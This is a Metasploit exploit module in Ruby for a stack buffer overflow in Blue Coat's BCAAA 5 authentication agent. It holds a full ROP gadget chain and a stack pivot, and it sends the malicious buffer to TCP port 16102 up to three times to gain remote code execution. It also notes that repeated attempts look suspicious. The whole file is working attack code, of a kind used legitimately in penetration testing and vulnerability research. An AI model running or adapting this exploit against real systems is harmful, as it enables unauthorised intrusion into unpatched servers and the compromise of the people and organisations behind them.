require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Blue Coat Authentication and Authorization Agent (BCAAA) 5 Buffer Overflow",
'Description'=> %q{
This module exploits a stack buffer overflow in process bcaaa-130.exe (port 16102),
which comes as part of the Blue Coat Authentication proxy.Please note that by default,
this exploit will attempt up to three times in order to successfully gain remote code
execution (in some cases, it takes as many as five times).This can cause your activity
to look even more suspicious.To modify the number of exploit attempts, set the
ATTEMPTS option.
},
'License'=> MSF_LICENSE,
'Version'=> "$Revision: 13137 $",
'Author' =>
[
'Paul Harrington',
'Travis Warren',
'sinn3r',
],
'References' =>
[
[ 'URL', 'https://kb.bluecoat.com/index?page=content&id=SA55' ],
[ 'URL', 'http://seclists.org/bugtraq/2011/Jul/44' ],
],
'Payload'=>
{
'Space'=> 936,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets'=>
[
[ 'BCAAA Version 5.4.6.1.54128', {} ],
],
'Privileged' => false,
'DisclosureDate' => "Apr 4 2011",
'DefaultTarget'=> 0))
register_options(
[
Opt::RPORT(16102),
OptInt.new("ATTEMPTS", [true, "Number of attempts to try to exploit", 3]),
], self.class)
end
def junk
return rand_text(4).unpack("L")[0].to_i
end
def exploit
rop_gadgets = [
0x7c346c0a,
0x7c37a140,
0x7c37591f,
junk,
0x7c346c0a,
0x7c37a140,
0x7c3530ea,
0x7c346c0b,
0x7c376069,
junk,
junk,
junk,
0x7c376402,
0x7c345c30,
0x7c346c0a,
0xfffffdff,
0x7c351e05,
0x7c354901,
0xffffffff,
0x7c345255,
0x7c352174,
0x7c34d201,
0x7c38b001,
0x7c34b8d7,
0x7c34b8d8,
0x7c344f87,
0xffffffc0,
0x7c351eb1,
0x7c346c0a,
0x90909090,
0x7c378c81,
].pack("V*")
pivot = [
0x7C3410C4,
0x1003800C,
0x4241467D,
0x7C3C8937,
0x7C3417D2,
0x7C3C8937,
0x7C34f6C2,
junk,
0x7C3C8937,
0x5D02D0A0,
0x7C3C8937,
0x7C3B5080,
].pack("V*")
attempts = datastore['ATTEMPTS']
attempts.times do |i|
break if session_created?
buffer =rand_text(8)
buffer << rop_gadgets
buffer << payload.encoded
buffer << 'EBAB'
buffer << rand_text(8)
buffer << pivot
connect
print_status("Sending request to #{rhost}. Attempt ##{(i+1).to_s}...")
sock.put(buffer)
handler
select(nil, nil, nil, 2)
disconnect
end
end
end